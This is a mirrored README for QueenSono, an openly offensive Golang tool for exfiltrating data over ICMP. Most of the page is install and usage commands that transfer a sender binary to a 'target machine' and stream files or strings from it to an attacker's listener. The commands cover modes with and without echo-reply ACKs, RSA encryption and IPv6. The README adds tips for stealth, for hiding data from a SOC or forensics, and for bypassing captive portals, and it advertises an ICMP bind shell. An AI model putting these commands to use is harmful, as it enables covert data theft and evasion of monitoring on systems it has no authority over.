QueenSono

KO | EN

gitlite — search

#hacktoberfest #react #android #machine-learning #rust #deep-learning #linux #macos #awesome #cli #kubernetes #vue #openai #open-source

(★ 168)

Golang binary for data exfiltration with ICMP protocol (+ ICMP bindshell, http over ICMP tunneling, ...)

QueenSono 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

<h1 align="center">QueenSono ICMP Data Exfiltration </h1>

<img src=https://github.com/ariary/QueenSono/blob/main/img/qs-small.png>
 <a href="https://github.com/enaqx/awesome-pentest"><img src="https://awesome.re/mentioned-badge.svg"></a>
<h4 align="center">A Golang Package for Data Exfiltration with ICMP protocol (IPv4 & IPv6).</h4>

QueenSono tool only relies on the fact that ICMP protocol isn't monitored. It is quite common. It could also been used within a system with basic ICMP inspection (ie. frequency and content length watcher) or to bypass authentication step with captive portal (used by many public Wi-Fi to authenticate users after connecting to the Wi-Fi e.g Airport Wi-Fi). Try to imitate <a href="https://github.com/ytisf/PyExfil">PyExfil</a> (and others) with the idea that the target machine does not necessary have python installed (so provide a binary could be useful)
 
 
 <a href="https://github.com/ariary/QueenSono#install">Install it</a>
 ·
 <a href="https://github.com/ariary/QueenSono#usage">Use it</a>
 ·
 <a href="https://github.com/ariary/QueenSono#notes">Notes</a>
 ·
 <a href="https://github.com/ariary/QueenSono/issues">Request Feature</a>
 ·
 <a href="https://github.com/ariary/QueenSono/tree/main/hack">🎁</a>

## Install

### With `curl`

*> From release*

```shell
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
```

### With `go`

*> Via `go install`*

Make sure `$GOPATH` is in your `$PATH` before

Install `qssender`

```shell
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
```

Install `qsreceiver`

```shell
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
```
*\> Install the binary from source*
 
Clone the repo and download the dependencies locally:
```    
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
```

To build the ICMP packet sender `qssender` :

build.queensono-sender

To build the ICMP packet receiver `qsreceiver` :

build.queensono-receiver

## Usage

`qssender` is the binary which will send ICMP packet  to the listener , so it is the binary you have to transfer on your target machine.

`qsreceiver` is the listener on your local machine (or wherever you could receive icmp packet)

All commands and flags of the binaries could be found using `--help`

### Example 1: Send with "ACK" 🔙
*\> In this example we want to send a big file and look after echo reply to ackowledge the reception of the packets (ACK).*

![demo](https://github.com/ariary/QueenSono/blob/main/img/qssono.gif)

On local machine:

$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt

<details>
 <summary>Explanation</summary>
 <li>
 <code>-l 0.0.0.0</code>listen on all interfaces for ICMP packet
 </li>
 <li>
 <code>-f received_bible.txt</code> save received data in a file
 </li>
 <li><code>-p</code> show a progress bar of received data </li>

</details>

On target machine:

$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
    $ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt

<details>
 <summary>Explanation</summary>
 <li>
 <code>send file</code> for sending file (<code>bible.txt</code> is the file in question)
 </li>
 <li>
 <code>-d 2</code> send a packet each 2 seconds
 </li>
 <li><code>-l 0.0.0.0</code> the listening address for echo reply </li>
 <li><code>-r 10.0.0.92</code> the address of my remote machine with <code>qsreceiver</code> listening</li>
 <li><code>-s 50000</code> the data size I want to send in each packet</li>
</details>

### Example 2: Send without "ACK" 🙈
*\> In this example we want to send a message without waiting for echo reply (it could be useful in  case the target firewall filters incoming icmp packet)*

![demo](https://github.com/ariary/QueenSono/blob/main/img/qssono-trunc.gif?raw=true)

On local machine:

$ qsreceiver receive truncated 1 -l 0.0.0.0

<details>
 <summary> Explanation</summary>
 <li><code>receive truncated 1</code> does not wait indefinitely if we don't received all the packets. (<code>1</code> is the delay used with <code>qssender</code>)</li>

for stealthiness you could prevent the kernel to reply to any ICMP pings

<pre><code>echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all</code></pre>

</details>

On target machine:

$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
<details>
 <summary>Explanation</summary>
 <li>
 <code>-N</code> noreply option (don't wait for echo reply)
 </li>
</details>

### Example 3: Send encrypted data 🔒
*\> In this example we want to send an encrypted message. As the command line could be spied on we use asymmetric encryption (if the key leaks, it isn't an issue so)*

![demo](https://github.com/ariary/QueenSono/blob/main/img/qssono-encryption.gif)

On local machine:

$ qsreceiver receive -l 0.0.0.0 --encrypt 
 <OUTPUT PUBLIC KEY>

<details>
 <summary> Explanation</summary>
 <li><code>--encrypt </code> use encryption exchange. It will generate public/private key. The public one will be used by <code>qssender</code> to encrypt data, the private one is used to decrypt it with <code>receiver</code>
</details>

On target machine:
```
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
```

<details>
 <summary>Explanation</summary>
 <li>
 <code>--key </code> provide key for data encryption. Use the one provided by the <code>qsreceiver</code> command
 </li>
</details>

#### About encryption
RSA encrytion is used to keep data exchanged confidential. It could be useful for example to avoid a SoC to see what data is exchanged (or forensic) w/ basic analysis or simply for privacy.

But it comes with a cost. The choice of asymetric encryption is motivated by the fact that the encryption key is entered on the command line (so it could be retieved easily). Hence, we encrypt data with public key. Like this if someone retrieve the encryption key it will not be possible to decrypt the message. But the public key is smaller than the private one, so it ***encrypt smaller messages***. Also, ***it is computationally expensive***.

Another point, as we want to limit data size/ping requests (to avoid detection, bug, etc), **use encryption only if needed** ***as the message output-size will (should) always equal the size of the Modulus*** (part of the key) which is big.

##### Enhancement
Currently, the whole message is encrypted and then chunked to be sent. On the other side we wait for all the packet (chunks), reconstruct our message and then decrypt it.
But it works ⇔ we have received ALL the chunks, otherwise the decryption will fail.

=> We  could encrypt each chunk accordingly with the `-s` parameter, like this we could decrypt them separately.

### Example 4: Receive data via echo reply ↩️
*\> In this example the local machine sends data **back** to the target via ICMP echo replies. Useful when outbound ICMP from the target is filtered but the target can receive echo replies.*

On local machine:

$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1

<details>
 <summary>Explanation</summary>
 <li>
 <code>reply-send</code> waits for a trigger from <code>qssender</code>, then sends data back as ICMP echo replies
 </li>
 <li>
 <code>-l 0.0.0.0</code> listen on all interfaces for the trigger packet
 </li>
 <li><code>-d 1</code> delay of 1 second between each reply packet</li>

</details>

On target machine:

$ qssender receive -l 0.0.0.0 -r 10.0.0.92

<details>
 <summary>Explanation</summary>
 <li>
 <code>receive</code> sends a trigger to <code>qsreceiver</code> and collects data from incoming echo replies
 </li>
 <li>
 <code>-l 0.0.0.0</code> the listening address for incoming echo replies
 </li>
 <li><code>-r 10.0.0.92</code> the address of my local machine with <code>qsreceiver reply-send</code> waiting</li>
</details>

### IPv6 support

QueenSono supports ICMPv6 transparently. Pass an IPv6 address and the protocol is auto-detected — no extra flags needed.

On local machine:

$ qsreceiver receive -l ::

On target machine:

$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000

<details>
 <summary>Explanation</summary>
 <li>
 <code>-l ::</code> listen on all IPv6 interfaces
 </li>
 <li>
 <code>-r fe80::1</code> IPv6 address of the remote machine — triggers ICMPv6 automatically
 </li>

</details>

All modes (send with ACK, send without ACK, encrypted, echo reply) work the same way over IPv6.

### Bonus

See [hack](https://github.com/ariary/QueenSono/tree/main/hack) section for fun things with `QueenSono`:
* Bind shell using ICMP
* HTTP over ICMP tunneling

### Notes
- only works on Linux (due to the use of golang net icmp package)
- needs `cap_net_raw` capabilities
- supports both IPv4 (ICMP) and IPv6 (ICMPv6) — auto-detected from the address
- if you actually send ICMP packets on 2 different machines and you wait for echo reply, be sure to use a reachable IP by remote as a listening address (do not use localhost or equivalent)

QueenSono

QueenSono 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

QueenSono

QueenSono 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README